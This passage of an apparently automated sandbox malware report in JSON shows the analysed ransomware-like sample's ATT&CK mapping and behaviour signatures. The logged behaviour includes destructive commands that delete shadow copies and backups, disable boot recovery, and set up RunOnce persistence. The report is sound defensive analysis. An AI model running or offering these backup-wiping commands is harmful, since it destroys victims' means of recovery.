Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"malicious","value":"Deletes volume snapshots (often used by ransomware)"},{"type":"malicious","value":"Deletes system state backups (often used by ransomware)"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1036","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","identifiers":[{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1114","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00011887-00002616-41818-159-0040D17C\n GetLocalTime@KERNEL32.DLL at 00011887-00002616-41818-225-0040D1A8\n GetLocalTime@KERNEL32.DLL at 00012148-00002304-50164-159-0040D17C\n GetLocalTime@KERNEL32.DLL at 00012148-00002304-50164-225-0040D1A8\n GetLocalTime@KERNEL32.DLL at 00012770-00001660-5587-159-0040D17C\n GetLocalTime@KERNEL32.DLL at 00012770-00001660-5587-225-0040D1A8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00011887-00002616-41818-931-0040F72C\n GetVersionExA@KERNEL32.DLL at 00012148-00002304-50164-925-0040F72C\n GetVersionExA@KERNEL32.DLL at 00012770-00001660-5587-901-0040F72C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00011887-00002616-41818-803-0040BF94\n GetDiskFreeSpaceA@KERNEL32.DLL at 00012148-00002304-50164-797-0040BF94\n GetDiskFreeSpaceA@KERNEL32.DLL at 00012770-00001660-5587-773-0040BF94","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\times.ttf\" at 00012772-00001656-0000010C-32847812123\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\times.ttf\" at 00012772-00001656-0000010C-32904985801\n \"mshta.exe\" queries volume information of \"%WINDIR%\\Fonts\\times.ttf\" at 00012994-00004520-0000010C-40644718456","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\27.02.2019.SCR.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\27.02.2019.SCR.EXE\")\n \".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OSK.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OSK.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\HtPTpznMYPK\"\n \"HtPTpznMYPK\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$27","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy /y \"C:\\27.02.2019.scr.exe\" \"%APPDATA%\\osk.exe\"\" on 2019-2-27.11:59:30.868\n \"/c copy /y \"C:\\27.02.2019.scr.exe\" \"%APPDATA%\\osk.exe\"\" on 2019-2-27.12:00:16.712\n \"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" on 2019-2-27.12:02:24.418\n \"/c wmic SHADOWCOPY DELETE\" on 2019-2-27.12:02:24.532\n \"/c vssadmin Delete Shadows /All /Quiet\" on 2019-2-27.12:02:24.608\n \"/c bcdedit /set {default} recoveryenabled No\" on 2019-2-27.12:02:24.747\n \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" on 2019-2-27.12:02:24.924","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$28","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"\n \"osk.exe\" connecting to \"\\ThemeApiPort\"\n \"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"fullscreen-exit.svg\" has type \"data\"\n \"PlayStore_icon.svg\" has type \"data\"\n \"close.svg\" has type \"data\"\n \"vi_get.svg\" has type \"data\"\n \"Download_on_the_App_Store_Badge_fr_135x40.svg\" has type \"data\"\n \"Download_on_the_App_Store_Badge_da_135x40.svg\" has type \"data\"\n \"help.svg\" has type \"data\"\n \"de_get.svg\" has type \"data\"\n \"ko_get.svg\" has type \"data\"\n \"AppStore_icon.svg\" has type \"data\"\n \"tr_get.svg\" has type \"data\"\n \"sl_get.svg\" has type \"data\"\n \"cs_get.svg\" has type \"data\"\n \"ru_get.svg\" has type \"data\"\n \"Download_on_the_App_Store_Badge_pl_135x40.svg\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://www.server.com/file.mp3\"\n Heuristic match: \"artemy75@protonmail.com\"\n Heuristic match: \"artemy75@cock.li\"\n Heuristic match: \"artemy75@tutanota.com\"\n Pattern match: \"https://en.wikipedia.org/wiki/Tox_(protocol)\"\n Pattern match: \"https://blockchain.info/ru/wallet/new\"\n Pattern match: \"https://localbitcoins.com/ru/buy_bitcoins\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"\n \"osk.exe\" opened \"\\Device\\KsecDD\"\n \"mshta.exe\" opened \"\\Device\\KsecDD\"\n \"wbadmin.exe\" opened \"\\Device\\KsecDD\"\n \"WMIC.exe\" opened \"\\Device\\KsecDD\"\n \"vssadmin.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 16 calls to GetProcAddress@KERNEL32.DLL at 00011887-00002616-41818-126-0041450C\n Found 16 calls to GetProcAddress@KERNEL32.DLL at 00012148-00002304-50164-126-0041450C\n Found 16 calls to GetProcAddress@KERNEL32.DLL at 00012770-00001660-5587-126-0041450C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to measure performance","description":"rdtsc at 00011887-00002616-41818-337-00422664\n rdtsc at 00011887-00002616-41818-389-00410B2C\n rdtsc at 00012148-00002304-50164-337-00422664\n rdtsc at 00012148-00002304-50164-389-00410B2C\n rdtsc at 00012770-00001660-5587-337-00422664\n rdtsc at 00012770-00001660-5587-389-00410B2C","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-6","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"osk.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"vssadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LoadResource@KERNEL32.DLL at 00011887-00002616-41818-120-004226C0\n LoadResource@KERNEL32.DLL at 00012148-00002304-50164-120-004226C0\n LoadResource@KERNEL32.DLL at 00012770-00001660-5587-120-004226C0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\".exe\" read file \"%USERPROFILE%\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Searches\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Videos\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Pictures\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Contacts\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Favorites\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Music\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Downloads\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Documents\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Links\\desktop.ini\"\n \".exe\" read file \"%USERPROFILE%\\Saved Games\\desktop.ini\"\n \"osk.exe\" read file \"%USERPROFILE%\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"osk.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"mshta.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"HTPTPZNMYPK\"; Value: \"%APPDATA%\\osk.exe\")","origin":"Registry Access","mitre_attack_id":"T1060","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00011887-00002616-41818-82-00427AD8\n InternetReadFile@WININET.DLL at 00012148-00002304-50164-82-00427AD8\n InternetReadFile@WININET.DLL at 00012770-00001660-5587-82-00427AD8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"WMIC.exe\" (Indicator: \"wmic.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"osk.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","mitre_attack_id":"T1076","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00012770-00001660-5587-135-00414788","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1215","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00013114-00003952)","origin":"Monitored Target","mitre_attack_id":"T1047","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\27.02.2019.scr.exe\" marked \"%APPDATA%\\osk.exe\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"%APPDATA%\\osk.exe\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\\" for deletion\n \"%APPDATA%\\osk.exe\" marked \"C:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\\" for deletion\n \"%WINDIR%\\System32\\mshta.exe\" marked \"C:\\27.02.2019.scr.exe\" for deletion","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2b","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\".exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \".exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"mshta.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\".exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"mshta.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"LoadLibraryA\n GetModuleHandleA\n VirtualProtect\n GetProcAddress\n VirtualAlloc","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2c","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"wbadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bcdedit.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"16/65 Antivirus vendors marked sample as malicious (24% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/37 Antivirus vendors marked sample as malicious (10% detection rate)\n 16/65 Antivirus vendors marked sample as malicious (24% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"17/88 Antivirus vendors marked spawned process \".exe\" (PID: 2304) as malicious (classified as \"BScope.Trojan\" with 19% detection rate)\n 17/88 Antivirus vendors marked spawned process \"osk.exe\" (PID: 1660) as malicious (classified as \"BScope.Trojan\" with 19% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\".exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FolderDescriptions\\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\"\n \".exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\"\n \".exe\" allocated memory in \"%WINDIR%\\System32\\en-US\\mshta.exe.mui\"\n \"osk.exe\" allocated memory in \"HKCU\\Software\\HtPTpznMYPK\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector\"\n \"mshta.exe\" allocated memory in \"%WINDIR%\\System32\\cmd.exe\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-2092356043-4041700817-663127204-1001\\Software\\Microsoft\\Internet Explorer\\International\\Scripts\\3\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\USER\\S-1-5-21-2092356043-4041700817-663127204-1001\\Software\\Microsoft\\Internet Explorer\\International\\Scripts\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2d","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00013114-00003952)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00013116-00001816)","origin":"Monitored Target","mitre_attack_id":"T1107","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"System Destruction","name":"Deletes system state backups (often used by ransomware)","description":"Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00013101-00003032)","origin":"Monitored Target","mitre_attack_id":"T1107","relevance":10,"id":"target-85","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"mshta.exe\" checked file \"C:\"\n \"WMIC.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2e","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Ransomware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Deletes volume snapshots (often used by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Disables startup repair"},{"detail":"Tries to suppress failures during boot (often used to hide system changes)"}],"sources":[{"report_type":"sandbox","report_id":"5c766d1b7eccd23859931b6a"}]},{"name":"Fingerprint","details_count":7,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet 